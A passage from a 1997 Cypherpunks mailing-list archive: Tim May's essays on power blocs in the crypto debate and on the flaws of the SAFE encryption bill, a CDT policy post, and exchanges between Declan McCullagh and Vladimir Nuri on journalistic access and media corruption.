      with Raph Levien <raph@acm.org>
       - Doctoral thesis update:
         - measuring & comparing trust metrics (successes and failures)
         - some limitations of the distributed certification approach
       - Two-way Web anonymizing
         Existing Web anonymizers (www.anonymizer.com and onion routers)
         provide anonymity only to the browser of information. I will
         propose a protocol analogous to the one used by e-mail nymservers
         that also allows information to be published anonymously. This
         protocol fully supports caching, and also makes it relatively
         difficult to mount spam, harassment and security flaw exploitation
         attacks.


If you have another agenda item, notify us ASAP!

________________________________________________________________________
Dave Del Torto                                      +1.415.524.6231  tel
ddt@pgp.com                                         +1.415.572.1932  fax
Pretty Good Privacy, Inc.                        http://www.pgp.com  web
________________________________________________________________________
Rich Graves                                         +1.415.725.7710  tel
llurch@stanford.edu                                 +1.415.723.0908  fax
Stanford Networking Systems     http://www.stanford.edu/group/networking



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Thu, 1 May 1997 01:27:52 +0800
To: cypherpunks@algebra.com
Subject: Test, Ignore
Message-ID: <199704292342.XAA00117@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Testing new mail Apps, Ignore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 1 May 1997 01:33:48 +0800
To: cypherpunks@cyberpass.net
Subject: Power Blocs in the Crypto Debate
Message-ID: <v03007804af8d2de3f630@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



We're seeing an interesting debate about the nature of power in Washington,
the role of different lobbying groups, and why things are as they are.

At the March meeting of the Cypherpunks in the Bay Area, I outlined a
fairly straightforward model of the power blocs jockeying for position and
influence, and discussed when and how the interests of the blocs
intersected with the interests of other blocs.

This model has a lot of ancillary conceptual baggage, which I'll try to
explain as I go along.

At the simplest level, there are 3 main _blocs_ in the crypto debate:

* Public groups, users, citizens, Cypherpunks, EFF, EPIC, etc.

* Corporations, sellers of tools, exporters, etc.

* Government, law enforcement, FBI, NSA, etc.


(I almost consider adding "the press" as a 4th group or bloc, but choose
not to expand the bloc list too much. As we will see, their role is
somewhat different, anyway.)

Text messages like this one are poor for discussing dynamics, best done on
blackboards with dynamic arrows, erasures, etc. But this is the diagram I
put up at that March meeting:


                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government


Simple, yes. Some points about these blocs:

* Forget teleology--these blocs have no "ultimate goals." No grand mission,
no longterm ideological direction. Self-reproduction is vastly more
important than "evolution" (which implies some guiding hand toward some
higher state).

* This is a slight exaggeration, as certainly many individuals in these
groups _believe_ they have longterm goals or ideologies. My point is that
viewing these blocs as organisms is more on target than viewing them as
ideological units. Thus, corporations succeed and get bigger and spread
their "memes" around. Government agencies which control power get
larger...it's not that they "seek" to get larger, as is popularly thought,
it's that differential reproduction and growth favors such policies...like
branches growing toward the sun and outgrowing their neighbors (and then
the genes of the trees which grew are more common, due to survival, than
the genes of trees which did not grow, for whatever reasons).

* Certainly subcomponents of these organisms may "decide" that certain
policies will enhance their individual growth rates, or personal happiness,
etc. Thus, their are apparently groups within PGP, Inc., as disclosed at
that same March CP meeting, which see it in their interest (and they will
claim, in the mother organism's interest, whether true or not) to establish
closer working relationships with agencies in government. Other names for
this opportunistic, not suprising behavior: empire-building,
brass-polishing, careerism, greed, etc.

* These blocks are "basins of attraction," and are like any other game,
hobby, interest, or career. People start following football and then begin
associating themselves with some team. Or they take up a hobby and this
becomes their world, a world they follow closely, root for, lobby for, etc.
They are "organisms," with their own (apparent) lifecycles, habits,
instincts, etc.

* Memes. Enough said. (If anybody doesn't know about memes, do a Web
search, or read Dawkins' "The Selfish Gene.") Evolutionary game theory,
Axelrod's "The Evolution of Cooperation," and Wright's "The Moral Animal"
(to name but a few of the many important books in this area).

* Recall De Tocqueville's circa 1840 famous words of warning about the
American experiment (paraphrased from memory, and translated): "The great
American experiment in democracy will last only until the voting public
discovers it can pick the pockets of others at the ballot box." This is
another way of expressing this "bloc" idea. Special interest groups,
lobbying groups, etc.

OK, so let's look at crypto:

                                 Users of crypto, concerned citizens, the
public
                                 Cypherpunks, EFF, ACLU, EPIC, etc.
                                /
                               /
                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government - - NSA, FBI, military,
               /                                 law enforcement, regulators,
              /                                    SEC, FCC, etc,
        PGP, Inc., RSADSI, Cylink
        Verisign, Netscape, etc.


Now this diagram can't capture the dynamics, and may even look "obvious" or
"banal." But some structure is useful in analyzing group dynamics.

For one thing, it's useful to note that the interests of corporations, for
example, are not at all the same as the interests of users. Even if they
make some of the tools users want to see! Corporations are organisms, and
will cut deals with the other players to enhance their own growth
opportunities...either as an overall corporate goal or due to sub-corporate
group manouverings, as with the groups within PGP, Inc. working on key
escrow schemes with government agencies and committees--these subgroups may
even see themselves as the "true spirit" of the companies, and/or may make
power grabs to make their memes the memes of the larger company...this
happens every day.

And each of these groups splits into multiple pieces.

Some groups get sucked into the "orbit" of the other power blocs. Thus, as
we have been discussing with Declan, journalists and lobbying groups in
Washington (the arguable "fourth bloc" (fourth estate) that could be used
for them) find themselves powerless unless they suck up to the government
or one of the other power blocs. The rules of the FDA, for example, start
to become the rules of the  journalist...or at least he starts "playing the
game."

Likewise, a journalist based in Silicon Valley will socialize with other
Valley folk, will follow the successes and failures of Valley companies,
and will almost always come to think of the Valley as "his team." Like a
sports team, or hobby, or game, or any other such "basin of attraction."

(Regionalism is not necessarily the most important. Journalists will still
remain "loyal" to their profession, lawyers to theirs, programmers to
theirs, etc. They will look to their professions for advancement,
power-building, etc. Part of the game. Growth, and memetic
self-reproduction.)

But "company towns" like Silicon Valley, Washington, and New York City
exert a powerful influence on those living in such areas...

Back to crypto.

The interests of these groups are not at all coincident, and we must never
lose sight of this. Roughly speaking, these three major blocs fit as
follows:

* Corporations survive and grow by selling things and driving out
competitors. Crypto and software companies want to sell licenses, browsers,
etc. Netscape wants to sell stuff. (I slip, like anyone, into saying
"wants," implying some teleological wish or goal...and to some extent this
is how the company will frame the issue...but a more accurate picture is
that Netscape will cease to be important if it doesn't sell enough products
and will become a dominant force if it sells a lot of products--the
translation to "wishes" and "goals" happens in the usual way.)

* Government is like a giant corporation. (Arguably, one could collapse
that leg of the tripod and call it "Washington, Inc.") Advancement for
individuals and departments comes as power grows. Every sub-bloc is looking
for those warming rays of the sun to extend its branches and leaves.
Empire-building and self-perpetuation. "The only purpose of a politician is
to stay in power." Nietzsche's "will to power." Or differential
reproduction. Republicans and Democrats jockey for more power, and to stay
in office.

* Washington, Inc. gets bigger and bigger because no forces effectively
exist to limit growth. Each department or office seeks to grow maximally,
as this enhances the careers, salaries, and power of individuals and other
departments. Lacking any natural predators, and facing no physical limits
to growth, this organism balloons larger and larger every decade, despite
minor year-to-year attempts to "reduce the size of government."

* These organisms seek mechanisms to enhance their growth and power.
Economists speak of "rent-seeking," as when the "Doctors, Inc." bloc seeks
to enhance their  power, compensation, and self-perpetuation by making it
hard for others to become part of their profession. (High-falutin' notions
that doctors guilds exist to provide maximum health care quality benefits
are utterly trivial compared to the game-theoretic, rent-seeking,
empire-building reasons...they form a guild because they _can_ form a
guild.)

* What about the third leg of the tripod, the "public"? Even there the
mechanism involves growth, survival, the will to power. Cypherpunks seek to
have an influence, even to be interviewed by Japanese television!
Individually or as part of "Cypherpunks, Inc.," they seek influence,
growth, power. (Of course, these tendencies are influenced by external
factors. For example, those of us living far away from D.C., or even fairly
far from San Francisco, take a dimmer view of influencing legislators and
reporters than those living close enough to get partially pulled into their
orbits, their games.)

* And the various "public interest" factions all have their own goals,
strategies, and notions about growth and power. EFF once sought to be the
dominant "third leg" power broker, had some defeats, and then essentially
left Washington to lick its wounds and (maybe) to regroup or to alter its
focus (which it appears to be doing by concentrating on legal cases, a la
Bernstein). EPIC has its notions of growth, Voter's Telecomm Watch its
notions, etc.

* Some groups are more explicitly ideological, some are more willing to
compromise. Cato is ideological, NRA is once again ideological (after a
period of trying to cozy up to factions in the government as a way of
growing and gaining influence...failure cause them to retreat to their
"ideological corner").

Enough for now.

The important thing to remember is that allies are not permanent, that the
ills of Big Government can be seen in organistic, Darwinian terms, and that
"good and evil" have very little to do with anything.

I hope this diagram helps a little, at least in explaining some of my
views. Your mileage may vary.

--Tim May

















There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 03:13:48 +0800
To: cypherpunks@toad.com
Subject: ZKP
Message-ID: <199704301854.OAA27005@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Thu, 1 May 1997 03:46:06 +0800
To: cypherpunks@toad.com
Subject: Fw: ZKP
Message-ID: <19294227142225@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed Apr 30 15:33:10 1997


- -----Begin Included Message ----- 

Date: Wed, 30 Apr 1997 14:54:51 -0400
 From: lucifer@dhp.com (lucifer Anonymous Remailer)
To: cypherpunks@toad.com
Cc: 

If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-



- ---- End of forwarded message ----

I'm tired of this tim tripe wasting my bandwidth.. we get the idea.

- -The Spectre

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Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 1 May 1997 05:10:17 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Security hole discovered
Message-ID: <3.0.1.32.19970430154019.007d1100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.anchordesk.com/story/story_876.html

Security hole discovered in latest JDK and  
HotJava browser. JavaSoft shipping patch. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 1 May 1997 08:30:55 +0800
To: Alan Davidson <cypherpunks@cyberpass.net
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <3355CC61.B61@stanford.edu>
Message-ID: <199705010008.RAA29286@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)


CDT and other Washington insider groups are busily singing the praises of
the SAFE encryption bill, despite some acknowledged "minor flaws."

Well, the flaws are not minor. The bill does not give Americans any rights
they do not already have, and does not ease export of strong crypto in any
meaningful way. In fact, the bill contains odd language implying it is
essentially only financial software which is easier to export, and then
only if the receiving country (huh?) allows it...since when is the duty of
U.S. Customs to pass products for export based on whether Baluchistan, for
example, wants the product?

Ah, but things get worse. The language speaks of barring key escrow, but
then says that law enforcment needs are not affected. This not only is not
a bar on key escrow, which of course is not required at this time, but it
also may open the door for "legitimate needs of law enforcement" key
escrow.

And, worst of all,  it criminalizes the use of crypto in connection with
the use of crypto in any prosecutable offense. Say "Fuck Goodlatte and the
horse he rode in on" in a message using encrypted remailers, and the
Communications Decency Act is violated (if it gets upheld). Voila, instant
5-year sentence. Use remailers to distribute information banned by Big
Brother.... 

The chilling effect is exactly and completely analogous to the chilling
effect intended when those giant billboards went up some years back with
the dire warning: "Use a gun, go to prison."

I hope the fools at CDT are prepared to help install the "Use a cipher, go
to prison" billboards.

I've been watching these so-called "crypto liberation" bills, Pro-CODE and
SAFE, wend their ways through the legislative process. Both are severely
flawed. Both should be rejected. Passing laws with flaws is worse than
doing nothing, than just relying on the good old Constitution for our
rights.

Here's a partial analysis of this pernicious piece of legislation:

At 2:19 PM -0800 4/30/97, Alan Davidson of CDT wrote:

> CDT POLICY POST Volume 3, Number 1                       April 30, 1997
>
> CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill

>-----------------------------------------------------------------------------
>HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL
>
>The House Judiciary Subcommittee on Courts and Intellectual property today
>approved the Security And Freedom through Encryption (SAFE) act (HR 695),
>sending the SAFE bill to the full House Judiciary Committee.
...
>Today's vote marks a critical step forward in the ongoing fight to reform
>US encryption policy, and sends a strong signal to the Clinton
>Administration that Congress is serious about passing real encryption
>reform legislation.

SAFE provides no rights not already enjoyed by Americans, and contains
language which appears to compromise some other rights.

For example:

""§2804. Prohibition on mandatory key escrow

"(a) PROHIBITION. -- No person in lawful possession of a key to encrypted
information may be required by Federal or State law to relinquish to
another person control of that key. 
"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
shall not affect the authority of any investigative or law
enforcement officer, under any law in effect on the effective date of this
chapter, to gain access to a key to encrypted information. "

Sounds good...a ban on key escrow, right? No, because "EXCEPTION FOR ACCESS
FOR LAW ENFORCEMENT PURPOSES" could easily be used to mandage key escrow.
After all, even Louis Freeh and Dorothy Denning have never argued that key
escrow is for use by non-law enforcement!

Put another way, this particular section says Alice doesn't have to
relinquish a key to Bob, a private citizen. Same as the way things are now,
where there is no law, modulo contractual relationships, mandating such
disclosure of keys.

A truly meaningful form of this putative or purported ban on key escrow
would include language along the lines of: "No government agency or
department shall in any work propose, negotiate, plan, or do research on
any scheme related to "key escrow," blah blah blah..." (Not being a lawyer,
I won't try to write the language; the point is that SAFE contains only
weasel language and doesn't actually bar key escrow so long as the Magic
Words "Law Enforcement Purposes" are uttered.)

Meanwhile, the traitors have criminalized crypto with this little gem:

"§2805. Unlawful use of encryption in furtherance of a criminal act

"Any person who willfully uses encryption in furtherance of the commission
of a criminal offense for which the person may be prosecuted in a court of
competent jurisdiction -- 

       "(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or fined in the amount set forth in
       this title, or both; and
       "(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more than 10 years, or fined in the
       amount set forth in this title, or both."."

Obviously, this is a serious problem, recognized by CDT, Lofgren, and many
others. Given that a vast and increasing number of behaviors are now
prosecutable offenses, this section alone would make most remailers parties
to a crime, would make corporations parties to crimes, and would have a
"chilling effect" on the use of crypto.

"Use a cipher, go to prison."

(Using a cipher alone would not itself be a crime, obviously, but the
parallels are *exact* with the famously chilling billboard message: "Use a
gun, go to prison." Using a gun in and of itself is not a crime, as in
target shooting, etc., but the chilling effect message is crystal
clear...this was the whole intent of the California billboards with this
message. So, will billboards be erected with the same message about
crypto?)

This alone is grounds for CDT, EFF, EPIC, ACLU, and anyone else to
immediately and completely withdraw all support for SAFE. The message "Use
a cipher, go to prison" is simply too pernicious to be allowed. Period.

Anyone who disagrees with this should immediately get out of the "civil
rights" industry.

As for the supposed relaxation of export restrictions, I fail to see much
of a difference. The SAFE text says (and I am only partly quoting it, as
quoting it all is too complicated for a message like this one):

" No validated license may be required, except pursuant to the Trading With
the Enemy
       Act or the International Emergency Economic Powers Act (but only to
the extent that the authority of such Act is not exercised to
       extend controls imposed under this Act), for the export or reexport
of..."

Gee, that little clause gives back control of exports. The "except pursuant
to the Trading with the Enemy Act," etc. part means that strong crypto
still won't be freely exportable.  



And the famous bit about exports being allowed to any country in which the
product is already approved...well, we see which way the wind is blowing in
other countries on this one. No doubt the Crypto Tsar, David Aaron, will
ensure that many products are not legal for use in France, Germany, Japan,
etc.

Oh, and just why is a U.S. _export_ contingent on it being "allowed" in
some other country? Export laws regarding national security are about stuff
_leaving_ the United States, not about stuff _entering_ France! That's a
problem for France to solve, not a problem for U.S. Customs to worry about.

And the "permitted for use by financial institutions" seems odd. Is this
SAFE bill only allowing (supposedly) free export of _financial_ software?
It sure looks this way.

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
authorize the export or reexport of software with encryption capabilities
for nonmilitary end-uses in any country to which exports of software of
similar capability are permitted for use by financial institutions not
controlled in 
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fact by United States persons, unless there is substantial evidence that
such software will be
       -- 

              "(A) diverted to a military end-use or an end-use supporting
international terrorism; 

Well, there's the gotcha. There goes the export of "unbreakable crypto," as
it will surely (and already has) been used by Hamas, Sindero Luminoso, the
IRA, and other such international freedom fighters, er, "terrorists."

Thus, we've gained absolutely nothing. Nada. Zip. 



And so it goes. 

Crypto becomes semi-criminalized. Key escrow is not at all restricted,
providing the need is related to "law enforcement" (though private citizens
like me are apparently no longer able to demand the keys of our
neighbors...but, gee, I guess we never were, so nothing even here has been
gained...duh).

And export has the same restrictions related to the Trading with the Enemy
Act, with various national security and law enforcement concerns, but with
some strange language about export being allowed for financial cryptography
providing the receiving country allows it for non-U.S.-owned entities.
(????)

A dangerous piece of legislation. Worse than the status quo. 

It ought to be killed dead.

"Use a cipher, go to prison."

--Tim May, who is a felon under various laws, and who has used crypto in
furtherance of these felonious activitities, and who hence faces 10 years
in the pokey for the SAFE "crime" of using crypto in furtherance of
multiple prosecutable offenses

Fuck that. Fuck CDT, too, for not denouncing this horrible piece of crap.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 1 May 1997 08:47:34 +0800
To: Declan McCullagh <declan@well.com>
Subject: mainstream media corruption same as govt
In-Reply-To: <Pine.GSO.3.95.970429212717.11982B-100000@well.com>
Message-ID: <199705010033.RAA29721@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[DM]
>Perhaps that's why it's hard, sometimes, to be a columnist here. If I call
>up the FDA, ask them why they're considering regulating the Net, then
>blast them in a column -- well, they're not going to return my phone calls
>next time. The TIME affiliation helps, but bureaucrats aren't entirely
>stupid -- they're not going to offer information and interviews to their
>critics. Perhaps there's something to be said for the Washington Post "he
>said, she said" style of reporting.

there is nothing to be said for it except that it is one step up from
what is contributing to the inbred relationship between journalists and
politicians. once upon a time, a journalist did not try to curry favor
with politicians, it was not a non-antagonistic relationship nor was
it meant to be. today, journalists go to their feeding buffets called
"press conferences" and pass on uncritically what is fed to them. whatever
happened to the journalist who tried to dig for a real story? obviously
the truth does not come easily, and older style journalists were closer to
understanding this.

why is our press so screwed up? because it has been infiltrated at the
very highest echelons by the CIA with its own agenda, which itself is
being driven by another more sinister agenda behind the scenes. 
the press has reached the level of hypnotic proportions in its ability
to manipulate the perceptions of the populace. if the media is the 
eyes of the populace, then it has been increasingly blinded for several 
years. I encourage anyone to read anything by Ambrose Evans Pritchard,
a british journalist, to see the level of unwary mindless corruption
we are now wallowing in daily in this country, in both the media and
government.

the crack cocaine situation in LA is a good example of how the truth
is buried by the media. a maverick newspaper reports something close to the
truth and the cia-manipulated mouthpieces around the country pile on
the journalist and the newspaper in a barrage of picks that choke the
truth in clouds of smoke.

the internet is breaking some of the press's stranglehold on communication
between citizens. I expect that the mainstream media is going to crumble
very soon as the public begins to realize how corrupted it has become,
both advertently and inadvertently.

in my opinion, the press has become as corrupt as the government. a pity,
because as Jefferson hoped, the press would become a control on the
government. the founding fathers seemed to have a lot of faith in the
integrity of humanity that does not seem to have entirely been borne out
by history.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 1 May 1997 08:50:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <Pine.GSO.3.95.970430055433.17744A-100000@well.com>
Message-ID: <199705010039.RAA03554@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DM
>
>Yep. DC is about power. It's okay to question who should have it (though
>Republicans or Democrats are your only choices), but it's almost unheard
>of to question whether any of 'em should have it at all. And rewards are
>given to those who Play the Game. For instance, I was interviewing some
>FCC commissioners recently for an upcoming article in a widely-read print
>mag, and the agency wanted the article to tilt their way. A week later I
>found my name on the posh invite list to black-tie dinners with the
>commissioners. That's access, folks, and it's responsible for a good
>portion of a journalistic success. If you don't have it, your articles
>suffer. 

I rest my case. That's *bias* and essentially *bribery*, folks, and its
responsible for a good portion of the corruption of the media. and what's
more amusing, not a single reporter involved in it has any pangs of doubt.
DM is downright proud that he's so clever that he's figured out this
ingenious inbred system of you-scratch-my-back!! congratulations on your
ingenuity, DM!! you will truly go a long way with your clearly highly
negotiable and hockable ethical standards...! I see you must be eyeing the
NYT or the Washington Post, eh? 

(DM, imagine the manipulation that you are describing getting *worse*
as you rise to the top, with your scent of it only a small whiff in
comparison, and you begin to understand the corruption that infects
the reality that surrounds us..)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 08:58:53 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705010039.RAA03554@netcom7.netcom.com>
Message-ID: <Pine.GSO.3.95.970430174121.425K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


VZ--

Sure it's bribery -- at least an informal, backscratching kind. It's the
way any public relations flack works: floating stories and giving
information to friendly journalists. But it's more insidious when it comes
from government. (Now, some news outlets have some insulation from this,
since no senator is going to turn down an opportunity to appear on NBC
Nightly News, even if it critizies their pet program.) 

But your excerpt didn't give me a chance to finish my story, and you
leaped to the wrong conclusion.

I turned down the FCC dinners, filed my story, argued with my editors who
watered it down, and moved on to my next project. 

Not all journalists have "hockable ethical standards." Indeed, some of us
care about the truth. 

-Declan


On Wed, 30 Apr 1997, Vladimir Z. Nuri wrote:

> DM
> >
> >Yep. DC is about power. It's okay to question who should have it (though
> >Republicans or Democrats are your only choices), but it's almost unheard
> >of to question whether any of 'em should have it at all. And rewards are
> >given to those who Play the Game. For instance, I was interviewing some
> >FCC commissioners recently for an upcoming article in a widely-read print
> >mag, and the agency wanted the article to tilt their way. A week later I
> >found my name on the posh invite list to black-tie dinners with the
> >commissioners. That's access, folks, and it's responsible for a good
> >portion of a journalistic success. If you don't have it, your articles
> >suffer. 
> 
> I rest my case. That's *bias* and essentially *bribery*, folks, and its
> responsible for a good portion of the corruption of the media. and what's
> more amusing, not a single reporter involved in it has any pangs of doubt.
> DM is downright proud that he's so clever that he's figured out this
> ingenious inbred system of you-scratch-my-back!! congratulations on your
> ingenuity, DM!! you will truly go a long way with your clearly highly
> negotiable and hockable ethical standards...! I see you must be eyeing the
> NYT or the Washington Post, eh? 
> 
> (DM, imagine the manipulation that you are describing getting *worse*
> as you rise to the top, with your scent of it only a small whiff in
> comparison, and you begin to understand the corruption that infects
> the reality that surrounds us..)
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 1 May 1997 09:15:59 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: This is not "cash" if the government demands a report...
Message-ID: <v02140b02af8d9aa13511@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:51 PM 4/29/97, Kent Crispin wrote:
>On Tue, Apr 29, 1997 at 01:01:59PM -0800, Tim May wrote:
>> At 11:26 AM -0800 4/29/97, Kent Crispin wrote:
>> 
>> >I was refering to your purchase of the 'vette -- presuming the dealer
>> >followed the law, the sale would be reported, and the amount, and
>> >hence the transaction is not anonymous, even though you paid cash...
>> 
>> Ah, Kent, so you are citing the government's intervention in cash
>> transactions (part of the War on Some Drugs, of course) as evidence that
>> cash has flaws. Well, I wouldn't call this cash, not if the government
>> demands that True Names be taken down and reported.
>
>OK.  What would you call it, then? Perhaps you could think of another
>catchy, short name for those greenish bits of paper and circular metal
>objects I have in my pocket that I use to pay for lunch?

The coins in your pocket are 'legal tender' or currency, a non-intrest bearing bearer bond issued by the treasury.  Ecash and its ilk are private currencies, similar in some ways to traveller's checks and money orders which are unsecured and uninsured debts of the issuer, but legally closer to the tokens issued at an amusement park or or the premium stamps (like Blus Chip or S&H Green) which have all but disappeared.  Constitutionally, the government has only limited rights to restrict private the issueance and use of private currencies (Stamp Act of 1861 and its current codification under Title 18.)

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Thu, 1 May 1997 06:38:40 +0800
To: cypherpunks@cyberpass.net
Subject: Policy Post 3.03 - House Subcommittee Approves Internet Privacy Bill
Message-ID: <v0302090baf8d75d7c2e3@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Democracy and Technology  /____/      Volume 3, Number 3
----------------------------------------------------------------------------
      A briefing on public policy issues affecting civil liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 3, Number 1                       April 30, 1997

 CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill
           (3) How to Subscribe/Unsubscribe
           (4) About CDT, contacting us

  ** This document may be redistributed freely with this banner intact **
        Excerpts may be re-posted with permission of <editor@cdt.org>
         ** This document looks best when viewed in COURIER font **
-----------------------------------------------------------------------------
HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL

The House Judiciary Subcommittee on Courts and Intellectual property today
approved the Security And Freedom through Encryption (SAFE) act (HR 695),
sending the SAFE bill to the full House Judiciary Committee.

The SAFE bill was passed by the Subcommittee without amendment and with
unanimous approval.  A House Judiciary Committee vote on SAFE is expected
later this month.

Today's vote marks a critical step forward in the ongoing fight to reform
US encryption policy, and sends a strong signal to the Clinton
Administration that Congress is serious about passing real encryption
reform legislation.

SAFE, and its companion bills in the Senate (Pro-CODE and ECPA II) are
vitally represent the best chance yet of reforming US encryption policy in
a way that protects privacy, promotes electronic commerce, and recognize
the realities of the global economy.

The full text of the SAFE bill, along with analysis and background
information, is available online at http://www.cdt.org/crypto or
http://www.crypto.com/

The Administration's allies did not introduce amendments to SAFE at the
subcommittee markup today, though a tougher fight is expected when the bill
reaches the full Judiciary Committee later this month. Rep. Bill McCullom
(R-FL), voted in favor of the SAFE but expressed concern that the bill does
not contain key-recovery provisions.  McCullom, a high ranking member of
the Judiciary Committee, said he hopes to address these concerns when the
bill reaches the full committee.

Also at the markup, Rep. Zoe Lofgren (D-CA), an original co-sponsor of
SAFE, noted that several privacy organizations, including CDT, have raised
concerns about a provision of the bill which criminalizes the use of
encryption in furtherance of a crime.  Rep. Lofgren pledged to work with
the privacy community to try and address these concerns as the bill moves
through committee.

CDT congratulates the subcommittee on today's vote and looks forward to
working with the Congress, our colleagues in the civil liberties and
Internet advocacy community, and the computer and communications industries
to pass real reform of US encryption policy this year.

For more information on what you can do to join the fight, please visit
http://www.crypto.com/adopt.

------------------------------------------------------------------------
(2) SUBSCRIPTION INFORMATION

Be sure you are up to date on the latest public policy issues affecting
civil liberties online and how they will affect you! Subscribe to the CDT
Policy Post news distribution list.  CDT Policy Posts, the regular news
publication of the Center For Democracy and Technology, are received by
nearly 10,000 Internet users, industry leaders, policy makers and
activists, and have become the leading source for information about
critical free speech and privacy issues affecting the Internet and other
interactive communications media.

To subscribe to CDT's Policy Post list, send mail to

     policy-posts-request@cdt.org

with a subject:

     subscribe policy-posts

If you ever wish to remove yourself from the list, send mail to the
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(3) ABOUT THE CENTER FOR DEMOCRACY AND TECHNOLOGY/CONTACTING US

The Center for Democracy and Technology is a non-profit public interest
organization based in Washington, DC. The Center's mission is to develop
and advocate public policies that advance democratic values and
constitutional civil liberties in new computer and communications
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Contacting us:

General information:  info@cdt.org
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             1634 Eye Street NW * Suite 1100 * Washington, DC 20006
             (v) +1.202.637.9800 * (f) +1.202.637.0968

-----------------------------------------------------------------------
End Policy Post 3.03                                           04/30/97
-----------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 1 May 1997 13:37:40 +0800
To: cypherpunks@toad.com
Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate
Message-ID: <3.0.1.32.19970430183502.006417e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been a busy day for privacy issues in the Oakland Trib.

Surveillance Cameras in Oakland
-------------------------------
